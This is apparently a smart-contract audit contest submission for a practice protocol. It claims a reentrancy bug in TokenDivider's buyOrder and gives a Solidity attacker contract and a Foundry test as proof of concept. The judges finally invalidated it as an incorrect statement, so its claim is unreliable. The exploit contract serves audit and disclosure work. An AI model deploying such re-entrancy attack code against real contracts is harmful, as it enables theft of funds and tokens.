Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Attacker Can Get All Tokens For Price of 1, and then claim NFT

Summary

A re-entrancy risk in TokenDivider::buyOrder() function allows an attacker to get all listed tokens for the price of 1. And then go ahead to claim NFT.

Vulnerability Details and Impact

An attacker can re-enter the TokenDivider::buyOrder() function multiple times till they have gotten all listed tokens for the price of 1. Then they can go ahead to claim the NFT if they have all the listed tokens for said NFT.

Tools Used

Foundry

PoC

Here is the attacker contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {TokenDivider} from "./TokenDivider.sol";
contract Attacker {
TokenDivider divider;
uint256 orderIndex;
address seller;
constructor(TokenDivider _divider) {
divider = _divider;
}
// set order index and seller to attack
function setOrder(uint256 _orderIndex, address _seller) external {
orderIndex = _orderIndex;
seller = _seller;
}
// fallback function to re-enter `buyOrder()`
receive() external payable {
if (address(divider).balance >= 1e18) {
divider.buyOrder(orderIndex, seller);
}
}
// start the attack
function attack() external payable {
divider.buyOrder{value: msg.value}(orderIndex, seller);
}
function onERC721Received(
address, /* operator */
address, /* from */
uint256, /* tokenId */
bytes calldata /* data */
) external pure returns (bytes4) {
// Return this value to confirm the receipt of the NFT
return this.onERC721Received.selector;
}
}

Here is the test:

function test_can_re_enter_buy_order_and_claim_nft_afterwards() public nftDivided {
Attacker attacker = new Attacker(tokenDivider);
vm.deal(address(attacker), 1.05 ether);
ERC20Mock erc20Mock = ERC20Mock(tokenDivider.getErc20InfoFromNft(address(erc721Mock)).erc20Address);
// USER lists tokens to be sold
vm.startPrank(USER);
erc20Mock.approve(address(tokenDivider), AMOUNT);
tokenDivider.sellErc20(address(erc721Mock), 1e18, AMOUNT);
vm.stopPrank();
// attacker attacks and buys all listed tokens from seller for price of 1
vm.startPrank(address(attacker));
attacker.setOrder(0, USER);
attacker.attack{value: 1.05 ether}();
assertEq(tokenDivider.getBalanceOf(address(attacker), address(erc20Mock)), AMOUNT);
// attacker claims NFT
erc20Mock.approve(address(tokenDivider), AMOUNT);
tokenDivider.claimNft(address(erc721Mock));
vm.stopPrank();
assertEq(erc721Mock.ownerOf(TOKEN_ID), address(attacker));
}

Recommendations

Implement ReentrancyGuard and nonReentrant modifier from OpenZeppelin.

Updates

Lead Judging Commences

fishy Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Appeal created

yeahchibyke Submitter
7 months ago
fishy Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy

fishy Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.